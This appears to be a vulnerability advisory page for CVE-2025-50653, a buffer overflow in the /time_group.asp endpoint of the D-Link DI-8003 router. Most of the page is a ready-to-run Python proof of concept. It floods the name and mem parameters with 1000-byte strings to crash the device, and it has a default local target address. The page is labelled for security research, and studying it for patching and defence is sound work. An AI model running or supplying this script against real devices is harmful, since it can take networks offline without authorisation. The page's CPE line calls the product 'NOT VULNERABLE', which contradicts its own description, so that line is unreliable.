A buffer overflow vulnerability exists in D-Link DI-8003 16.07.26A1 due to improper handling of the name and mem parameters in the /time_group.asp endpoint.
cpe:2.3:h:dlink:di-8003:-:*:*:*:*:*:*:* - NOT VULNERABLE
D-Link DI-8003 16.07.26A1
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
def exploit_poc(target_ip):
"""
Proof of Concept for CVE-2025-50653
Triggers buffer overflow in D-Link DI-8003 via /time_group.asp
"""
target_url = f"http://{target_ip}/time_group.asp"
# Create a long payload to trigger the overflow
# Adjust length as necessary based on specific buffer size (e.g., 1000 bytes)
payload = "A" * 1000
# Parameters vulnerable to buffer overflow
data = {
"name": payload,
"mem": payload
}
try:
print(f"Sending payload to {target_url}...")
response = requests.post(target_url, data=data, timeout=5)
print(f"Response status code: {response.status_code}")
# If the service crashes, the connection might be reset or timeout
if response.status_code == 200:
print("Request sent, check device status for crash.")
else:
print("Device responded unexpectedly.")
except requests.exceptions.RequestException as e:
print(f"Connection error (possible DoS): {e}")
if __name__ == "__main__":
# Replace with the target IP address
target = "192.168.0.1"
exploit_poc(target)